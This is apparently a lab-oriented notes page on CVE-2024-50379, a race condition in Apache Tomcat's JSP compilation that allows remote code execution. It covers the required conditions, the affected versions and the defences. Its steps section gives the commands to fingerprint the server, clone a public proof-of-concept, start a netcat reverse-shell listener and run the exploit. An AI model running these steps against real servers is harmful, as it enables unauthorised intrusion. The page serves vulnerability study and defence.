CVE-2024-50379 Apache Tomcat RCE
Table of Contents
A critical TOCTOU race condition in Apache Tomcat's JSP compilation allowing RCE on case-insensitive file systems when the default servlet has write permissions enabled. CVSS 9.8.
Related: LAMP Stack Web Application Testing Methodology
Description
A TOCTOU vulnerability arises from a race condition between checking a resource and using it. In this case, the race condition occurs during JSP compilation on case-insensitive systems when the default servlet has write permissions. [gumroad](https://plannerfoundry.gumroad.com/l/ojwvvv?claude-citation-7872e9f1-9a0b-4528-9db9-eca9a3020434=aa8d3e9d-f017-4d36-8048-27f2e85bd96c) The attacker uploads a file and concurrently reads it — Tomcat's case sensitivity checks get bypassed, causing the uploaded file to be treated as a JSP and executed.
Conditions required:
- Default servlet write-enabled (
readonly=falsein web.xml — non-default) - Case-insensitive file system (Windows, macOS)
- HTTP PUT and DELETE methods enabled
Affected versions: 9.0.0.M1–9.0.97, 10.1.0-M1–10.1.33, 11.0.0-M1–11.0.1. Fixed in 9.0.98, 10.1.34, 11.0.2.
Steps
# Check Tomcat version curl -s http://$IP:8080/ | grep -i tomcat # Clone PoC git clone https://github.com/iSee857/CVE-2024-50379-PoC cd CVE-2024-50379-PoC # Start listener nc -lvnp 8888 # Run exploit (lower loop counter for THM) python3 ApachTomcat_CVE-2024-50379_ConditionalCompetitionToRce.py -u $IP:8080
The exploit sends many concurrent requests to trigger the race condition. Lowering the loop counter from 10000 to 2000 is more efficient in lab environments. The exploit may need to be run multiple times before succeeding. [gumroad](https://plannerfoundry.gumroad.com/l/ojwvvv?claude-citation-7872e9f1-9a0b-4528-9db9-eca9a3020434=3c501b7f-2ed9-4756-bf87-2814b2db286a)
Defences
- Keep
readonlyset to true (default) — this alone prevents exploitation - Disable HTTP PUT/DELETE methods if not needed
- Use case-sensitive file system (Linux)
- Upgrade to fixed version